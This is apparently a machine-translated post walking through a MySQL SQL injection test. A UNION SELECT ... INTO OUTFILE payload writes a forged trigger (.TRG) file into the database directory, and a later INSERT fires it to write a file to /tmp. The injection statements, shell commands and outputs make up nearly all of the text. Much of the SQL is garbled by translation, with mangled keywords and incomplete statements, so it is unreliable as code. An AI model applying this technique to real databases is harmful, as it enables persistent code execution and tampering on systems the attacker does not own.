Text/superhei
I didn't perform the test at the time. I tested it today and recorded it.
Decrease aa. article;
+ ----------- + -------------- + ------ + ----- + --------- + ---------------- +
| FIELD | type | NULL | key | default | extra |
+ -------- --- + -------------- + ------ + ----- + --------- + -------- +
| Articleid | INT (11) | No. | priority | NULL | AUTO_INCREMENT |
| Title | VARCHAR (100) | No. |
Content | text | no | null |
+ ----------- + -------------- + ------ + ----- + --------- + ---------------- +
3 rows (0.01 seconds)
Execute the statement:
SELECT * from Article articleid = 3 and 1 = 2 union select null, NULL, 'Type = trigger "into OUTFILE
'/Var/lib/MySQL/AA/article. the 'root' @ 'localhost' of create definer of TRG "\ ntriggers = \ 'triggers ATK \ nbegin \ n to select 1111 to OUTFILE
SELECT * from Article articleid = 3 and 1 = 2 union select null, NULL, type = trigger INTO OUTFILE
-> '/VAR/LIB/MYSQL/AA/article. TRG "wire end" \ ntriggers = \ 'create DEFINER's 'root' @ 'localhost' each line inserted by the user triggers ATK \ nbegin \ n to select 1111 into outfile.
(0.04 seconds) OK, one line is affected
Local file:
Root @ Ubuntu:/VAR/LIB/MYSQL/AA # Cat article. TRG
\ N \ N triggers
Trigger = 'create DEFINER's 'root' @ 'localhost' after the attack is triggered, insert \ nbegin \ n for each row to select 1111 INTO OUTFILE
LS/tmp/aa.txt File
LS: inaccessible/tmp/aa.txt file: the file or directory does not exist
Return to the mysql shell and execute:
MySQL> insert to article (articleid, title, content) value (20, 2, 3 );
1 row affected (0.00 seconds) query OK,
Let's look at the file:
Root @ Ubuntu:/VAR/LIB/MYSQL/AA # In the ls/tmp/aa.txt File
/Tmp/aa.txt File
Ubuntu:/VAR/lib directory/MYSQL/AA # Cat
:)